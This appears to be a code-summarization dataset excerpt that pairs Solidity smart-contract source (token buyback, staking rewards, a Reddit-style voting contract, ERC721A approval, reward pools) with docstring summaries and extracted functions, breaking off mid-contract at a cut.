transaction */ function setup(uint256 _maxGasPrice, uint256 _maxTxValue) onlyOwner external { maxGasPrice = _maxGasPrice; maxTxValue = _maxTxValue; } /** * @notice Starts buyback at specified time, with specified rate * @param _roundStartTime Time when Buyback round starts * @param _rate Rate of current Buyback round (1 ETH = rate BOB). Zero means no buyback is planned. */ function startBuyback(uint256 _roundStartTime, uint256 _rate) onlyOwner external payable { require(_roundStartTime > now); roundStartTime = _roundStartTime; rate = _rate; //Rate is not required to be > 0 } /** * @notice Claim all BOB tokens stored on the contract and send them to owner */ function claimTokens() onlyOwner external { require(token.transfer(owner, token.balanceOf(address(this)))); } /** * @notice Claim some of tokens stored on the contract * @param amount How much tokens to claim * @param beneficiary Who to send this tokens */ function claimTokens(uint256 amount, address beneficiary) onlyOwner external { require(token.transfer(beneficiary, amount)); } /** * @notice Transfer all Ether held by the contract to the owner. */ function reclaimEther() onlyOwner external { owner.transfer(address(this).balance); } }
Calculates how much ETH somebody can receive for selling amount BOB amount How much tokens to sell/
function calcReward(uint256 amount) view public returns(uint256) { }
1,644,766
./full_match/5/0x5480CE9Cb8b0D1Dc52379547e5152176b2f236a1/sources/MISOHelper.sol
(address stakingToken,,,) = farm.poolInfo(j);
function getUserPoolsInfos(address _user) public view returns(UserPoolsInfo[] memory) { uint256 numberOfFarms = farmFactory.numberOfFarms(); UserPoolsInfo[] memory infos = new UserPoolsInfo[](numberOfFarms); for (uint256 i = 0; i < numberOfFarms; i++) { address farmAddr = farmFactory.farms(i); IFarm farm = IFarm(farmAddr); uint256 poolLength = farm.poolLength(); uint256[] memory totalStaked = new uint256[](poolLength); uint256[] memory pendingRewards = new uint256[](poolLength); uint256[] memory pids = new uint256[](poolLength); for(uint256 j = 0; j < poolLength; j++) { (totalStaked[j],) = farm.userInfo(j, _user); pendingRewards[j] = farm.pendingRewards(j, _user); pids[j] = j; } infos[i].totalStaked = totalStaked; infos[i].pendingRewards = pendingRewards; infos[i].pids = pids; infos[i].farm = farmAddr; } return infos; }
1,863,603
/** *Submitted for verification at Etherscan.io on 2022-02-22 */ // hevm: flattened sources of src/StakingRewards.sol // SPDX-License-Identifier: MIT AND GPL-3.0-or-later pragma solidity =0.8.9 >=0.8.0 <0.9.0; ////// node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol /* pragma solidity ^0.8.0; */ /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } ////// node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// node_modules/@openzeppelin/contracts/utils/Address.sol /* pragma solidity ^0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /* import "../../../utils/Address.sol"; */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/IStakingRewards.sol /* pragma solidity 0.8.9; */ interface IStakingRewards { // Views function balanceOf(address account) external view returns (uint); function earned(address account) external view returns (uint); function getRewardForDuration() external view returns (uint); function lastTimeRewardApplicable() external view returns (uint); function rewardPerToken() external view returns (uint); // function rewardsDistribution() external view returns (address); // function rewardsToken() external view returns (address); function totalSupply() external view returns (uint); // Mutative function exit() external; function getReward() external; function stake(uint amount) external; function withdraw(uint amount) external; } ////// src/Owned.sol /* pragma solidity 0.8.9; */ contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) { require(_owner != address(0), "owner = zero address"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "not nominated"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner() { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "not owner"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } ////// src/Pausable.sol /* pragma solidity 0.8.9; */ /* import "./Owned.sol"; */ abstract contract Pausable is Owned { bool public paused; constructor() { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "owner = zero address"); } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { require(_paused != paused, "no change"); paused = _paused; emit PauseChanged(_paused); } event PauseChanged(bool isPaused); modifier notPaused() { require(!paused, "paused"); _; } } ////// src/RewardsDistributionRecipient.sol /* pragma solidity 0.8.9; */ /* import "./Owned.sol"; */ abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "not reward distribution"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } ////// src/StakingRewards.sol /* pragma solidity 0.8.9; */ /* import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; */ /* import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; */ /* import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; */ /* import "./IStakingRewards.sol"; */ /* import "./RewardsDistributionRecipient.sol"; */ /* import "./Pausable.sol"; */ contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public immutable rewardsToken; IERC20 public immutable stakingToken; uint public periodFinish; uint public rewardRate; uint public rewardsDuration = 7 days; uint public lastUpdateTime; uint public rewardPerTokenStored; mapping(address => uint) public userRewardPerTokenPaid; mapping(address => uint) public rewards; uint private _totalSupply; mapping(address => uint) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) Owned(_owner) { require(_rewardsDistribution != address(0), "reward dist = zero address"); require(_rewardsToken != address(0), "reward token = zero address"); require(_stakingToken != address(0), "staking token = zero address"); rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint) { return _totalSupply; } function balanceOf(address account) external view returns (uint) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint) { return block.timestamp < periodFinish ? block.timestamp : periodFinish; } function rewardPerToken() public view returns (uint) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored + ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply; } function earned(address account) public view returns (uint) { return ((_balances[account] * (rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18) + rewards[account]; } function getRewardForDuration() external view returns (uint) { return rewardRate * rewardsDuration; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "stake amount = 0"); _totalSupply += amount; _balances[msg.sender] += amount; stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "withdraw amount = 0"); _totalSupply -= amount; _balances[msg.sender] -= amount; stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward / rewardsDuration; } else { uint remaining = periodFinish - block.timestamp; uint leftover = remaining * rewardRate; rewardRate = (reward + leftover) / rewardsDuration; } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance / rewardsDuration, "reward > balance"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp + rewardsDuration; emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "protected"); IERC20(tokenAddress).safeTransfer(msg.sender, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint _rewardsDuration) external onlyOwner { require(block.timestamp > periodFinish, "not finished"); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(_rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint reward); event Staked(address indexed user, uint amount); event Withdrawn(address indexed user, uint amount); event RewardPaid(address indexed user, uint reward); event RewardsDurationUpdated(uint newDuration); event Recovered(address token, uint amount); }
Change the paused state of the contract Only the contract owner may call this./
function setPaused(bool _paused) external onlyOwner { require(_paused != paused, "no change"); paused = _paused; emit PauseChanged(_paused); } event PauseChanged(bool isPaused);
15,141,629
pragma solidity ^0.4.24; // @notice Contract to create posts contract DReddit { enum Ballot { NONE, UPVOTE, DOWNVOTE } struct Post { uint creationDate; bytes description; address owner; uint upvotes; uint downvotes; mapping(address => Ballot) voters; } Post[] public posts; event NewPost ( uint indexed postId, address owner, bytes description ); event Vote( uint indexed postId, address voter, uint8 vote ); // @notice Number of posts created // @return Num of posts function numPosts() public view returns(uint) { return posts.length; } // @notice Create Post // @param _description IPFS hash of the content of the post function create(bytes _description) public { uint postId = posts.length++; posts[postId] = Post({ creationDate: block.timestamp, description: _description, owner: msg.sender, upvotes: 0, downvotes: 0 }); emit NewPost(postId, msg.sender, _description); } // @notice Vote on a post // @param _postId Id of the post to up/downvote // @param _vote Vote selection: 0 -> none, 1 -> upvote, 2 -> downvote function vote(uint _postId, uint8 _vote) public { Post storage p = posts[_postId]; require(p.creationDate != 0, "Post does not exist"); require(p.voters[msg.sender] == Ballot.NONE, "You already voted on this post"); Ballot b = Ballot(_vote); if (b == Ballot.UPVOTE) { p.upvotes++; } else { p.downvotes++; } p.voters[msg.sender] = b; emit Vote(_postId, msg.sender, _vote); } // @notice Determine if the sender can vote on a post // @param _postId Id of the post // @return bool that indicates if the sender can vote or not function canVote(uint _postId) public view returns (bool) { if(_postId > posts.length - 1) return false; Post storage p = posts[_postId]; return (p.voters[msg.sender] == Ballot.NONE); } // @notice Obtain vote for specific post // @param _postId Id of the post // @return uint that represents the vote: 0 -> none, 1 -> upvote, 2 -> downvote function getVote(uint _postId) public view returns (uint8) { Post storage p = posts[_postId]; return uint8(p.voters[msg.sender]); } }
Obtain vote for specific post _postId Id of the post return uint that represents the vote: 0 -> none, 1 -> upvote, 2 -> downvote
function getVote(uint _postId) public view returns (uint8) { Post storage p = posts[_postId]; return uint8(p.voters[msg.sender]); }
1,034,768
./partial_match/1/0x637AAa9c7059B2Df195339B7c55bb2f3cb2eD946/sources/AAMG.sol
Gives permission to `to` to transfer `tokenId` token to another account. The approval is cleared when the token is transferred. Only a single account can be approved at a time, so approving the zero address clears previous approvals. Requirements: - The caller must own the token or be an approved operator. - `tokenId` must exist. Emits an {Approval} event./
function approve(address to, uint256 tokenId) public payable virtual override { address owner = ownerOf(tokenId); if (_msgSenderERC721A() != owner) if (!isApprovedForAll(owner, _msgSenderERC721A())) { revert ApprovalCallerNotOwnerNorApproved(); } _tokenApprovals[tokenId].value = to; emit Approval(owner, to, tokenId); }
3,733,764
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import './token/PoolsInterestBearingToken.sol'; import './token/Bridge.sol'; import './utils/MyPausableUpgradeable.sol'; import 'hardhat/console.sol'; import './interfaces/IBuyBackAndBurn.sol'; interface IBridge is IERC20 { function burn(uint256 amount) external; } contract RewardPools is MyPausableUpgradeable, IPools { using SafeERC20 for IERC20; using SafeERC20 for IBridge; /// contains information about a specific reward pool struct RewardPool { IERC20 rewardToken; // token the pool is created for IERC20 interestBearingToken; // interest token that was created for this reward pool uint256 minStakeAmount; // minimum amount that must be staked per account in BRIDGE token uint256 maxStakeAmount; // maximum amount that can be staked per account in BRIDGE token uint256 maxPoolSize; // max pool size in BRIDGE token uint256 totalStakedAmount; // sum of all staked tokens uint256 totalRewardAmount; // sum of all rewards ever assigned to this reward pool uint256 accRewardPerShare; // the amount of unharvested rewards per share of the staking pool uint256 lastRewardAmount; // sum of all rewards in this reward pool from last calculation bool exists; // flag to show if this reward pool exists already } struct StakerInfo { uint256 balance; // amount of staked tokens uint256 stakeUpdateTime; // timestamp of last update uint256 rewardDebt; // a negative reward amount that ensures that harvest cannot be called repeatedly to drain the rewards address poolTokenAddress; // the token address of the underlying token of a specific reward pool } // bridge token that gets distributed by BridgeChef contract IBridge private _bridgeToken; /// Role for managing this contract bytes32 public constant MANAGE_COLLECTED_FEES_ROLE = keccak256('MANAGE_COLLECTED_FEES_ROLE'); bytes32 public constant MANAGE_REWARD_POOLS_ROLE = keccak256('MANAGE_REWARD_POOLS_ROLE'); /// stores the reward pool information for each token that is supported by the bridge /// tokenAddress to reward pool mapping(address => RewardPool) public rewardPools; /// Stores current stakings /// there is a mapping from user wallet address to StakerInfo for each reward pool /// tokenAddress (RewardPool) => Staker wallet address as identifier => StakerInfo mapping(address => mapping(address => StakerInfo)) public stakes; // Constant that facilitates handling of token fractions uint256 private constant _DIV_PRECISION = 1e18; /// Contract to receive rewards of pools without stake balance = 0 (for token burns) IBuyBackAndBurn public buyBackAndBurnContract; /// Default reward pool token withdrawal fee (in ppm: parts per million - 10,000ppm = 1%) uint256 public defaultRewardPoolWithdrawalFee; /// Individual reward pool withdrawal fees per underlying token (in ppm: parts per million - 10,000ppm = 1%) /// tokenAdress => ppm mapping(address => uint256) public rewardPoolWithdrawalFees; string public constant upgradeSuccessfulDone = 'YES_YES_NO'; event RewardsAdded(address indexed tokenAddress, uint256 amount); event StakeAdded(address indexed accountAddress, address indexed tokenAddress, uint256 amount); event StakeWithdrawn(address indexed accountAddress, address indexed tokenAddress, uint256 amount); event InterestBearingTokenTransferred( address indexed senderAddress, address indexed tokenAddress, address indexed receiverAddress, uint256 amount ); event RewardsHarvested(address indexed staker, address indexed tokenAddress, uint256 amount); /** * @notice Initializer instead of constructor to have the contract upgradeable * @dev can only be called once after deployment of the contract */ function initialize(IBridge bridgeToken, IBuyBackAndBurn _buyBackAndBurnContract) external initializer { // call parent initializers __MyPausableUpgradeable_init(); // set up admin roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); // initialize required state variables _bridgeToken = bridgeToken; buyBackAndBurnContract = _buyBackAndBurnContract; defaultRewardPoolWithdrawalFee = 300000; // 30% require(_bridgeToken.approve(address(buyBackAndBurnContract), type(uint256).max), 'RewardPools: approval failed'); } /** * @notice Sets the default reward pool withdrawal fee (to be paid in Bridge token) * * @dev can only be called by MANAGE_COLLECTED_FEES_ROLE * @param fee the default bridging fee rate provided in ppm: parts per million - 10,000ppm = 1% */ function setDefaultRewardPoolWithdrawalFee(uint256 fee) external { require( hasRole(MANAGE_COLLECTED_FEES_ROLE, _msgSender()), 'RewardPools: must have MANAGE_COLLECTED_FEES_ROLE role to execute this function' ); defaultRewardPoolWithdrawalFee = fee; } /** * @notice Sets an individual reward pool withdrawal fee for the given token * * @dev can only be called by MANAGE_COLLECTED_FEES_ROLE * @param sourceNetworkTokenAddress the address of the underlying token contract * @param fee the individual reward pool withdrawal fee rate provided in ppm: parts per million - 10,000ppm = 1% */ function setRewardPoolWithdrawalFee(address sourceNetworkTokenAddress, uint256 fee) external { require( hasRole(MANAGE_COLLECTED_FEES_ROLE, _msgSender()), 'RewardPools: must have MANAGE_COLLECTED_FEES_ROLE role to execute this function' ); require(rewardPools[sourceNetworkTokenAddress].exists, 'RewardPools: rewardPool does not exist'); rewardPoolWithdrawalFees[sourceNetworkTokenAddress] = fee; } /** * @notice Sets the minimum stake amount for a specific token * * @dev can only be called by MANAGE_REWARD_POOLS_ROLE * @param tokenAddress the address of the underlying token of the reward pool * @param _minStakeAmount the minimum staking amount */ function setMinStakeAmount(address tokenAddress, uint256 _minStakeAmount) external { require( hasRole(MANAGE_REWARD_POOLS_ROLE, _msgSender()), 'RewardPools: must have MANAGE_REWARD_POOLS_ROLE role to execute this function' ); require(rewardPools[tokenAddress].exists, 'RewardPools: rewardPool does not exist'); rewardPools[tokenAddress].minStakeAmount = _minStakeAmount; } /** * @notice Sets the maximum stake amount for a specific token * * @dev can only be called by MANAGE_REWARD_POOLS_ROLE * @param tokenAddress the address of the token * @param _maxStakeAmount the maximum staking amount */ function setMaxStakeAmount(address tokenAddress, uint256 _maxStakeAmount) external { require( hasRole(MANAGE_REWARD_POOLS_ROLE, _msgSender()), 'RewardPools: must have MANAGE_REWARD_POOLS_ROLE role to execute this function' ); require(rewardPools[tokenAddress].exists, 'RewardPools: rewardPool does not exist'); rewardPools[tokenAddress].maxStakeAmount = _maxStakeAmount; } /** * @notice Sets the maximum staking pool size for a specific token * * @dev can only be called by MANAGE_REWARD_POOLS_ROLE * @param tokenAddress the address of the token * @param _maxPoolSize the maximum staking pool size */ function setMaxPoolSize(address tokenAddress, uint256 _maxPoolSize) external { require( hasRole(MANAGE_REWARD_POOLS_ROLE, _msgSender()), 'RewardPools: must have MANAGE_REWARD_POOLS_ROLE role to execute this function' ); require(rewardPools[tokenAddress].exists, 'RewardPools: rewardPool does not exist'); rewardPools[tokenAddress].maxPoolSize = _maxPoolSize; } /** * @notice Sets the address for the BuyBackAndBurn contract that receives rewards when pools have no stakers * * @dev can only be called by MANAGE_COLLECTED_FEES_ROLE * @param _buyBackAndBurnContract the address of the BuyBackAndBurn contract */ function setBuyBackAndBurnContract(IBuyBackAndBurn _buyBackAndBurnContract) external { require( hasRole(MANAGE_COLLECTED_FEES_ROLE, _msgSender()), 'RewardPools: must have MANAGE_COLLECTED_FEES_ROLE role to execute this function' ); require( address(_buyBackAndBurnContract) != address(0), 'RewardPools: invalid buyBackAndBurnContract address provided' ); buyBackAndBurnContract = _buyBackAndBurnContract; require(_bridgeToken.approve(address(buyBackAndBurnContract), type(uint256).max), 'RewardPools: approval failed'); } /** * @notice Adds new funds (bridge tokens) to the staking pool * * @param tokenAddress the address of the underlying token of the reward pool * @param amount the amount of bridge tokens that should be staked * @dev emits event StakeAdded */ function stake(address tokenAddress, uint256 amount) external whenNotPaused nonReentrant { // get reward pool for the given token RewardPool storage pool = rewardPools[tokenAddress]; // get info about existing stakings in this token by this user (if any) StakerInfo storage staker = stakes[tokenAddress][_msgSender()]; // check input parameters require(amount > 0, 'RewardPools: staking amount cannot be 0'); require(rewardPools[tokenAddress].exists, 'RewardPools: rewardPool does not exist'); require(amount >= pool.minStakeAmount, 'RewardPools: staking amount too small'); require( pool.maxStakeAmount == 0 || staker.balance + amount <= pool.maxStakeAmount, 'RewardPools: staking amount too high' ); require( pool.maxPoolSize == 0 || pool.totalStakedAmount + amount <= pool.maxPoolSize, 'RewardPools: max staking pool size exceeded' ); // re-calculate the current rewards and accumulatedRewardsPerShare for this pool updateRewards(tokenAddress); // check if staking rewards are available for harvesting if (staker.balance > 0) { _harvest(tokenAddress, _msgSender()); } // Update staker info staker.stakeUpdateTime = block.timestamp; staker.balance = staker.balance + amount; staker.poolTokenAddress 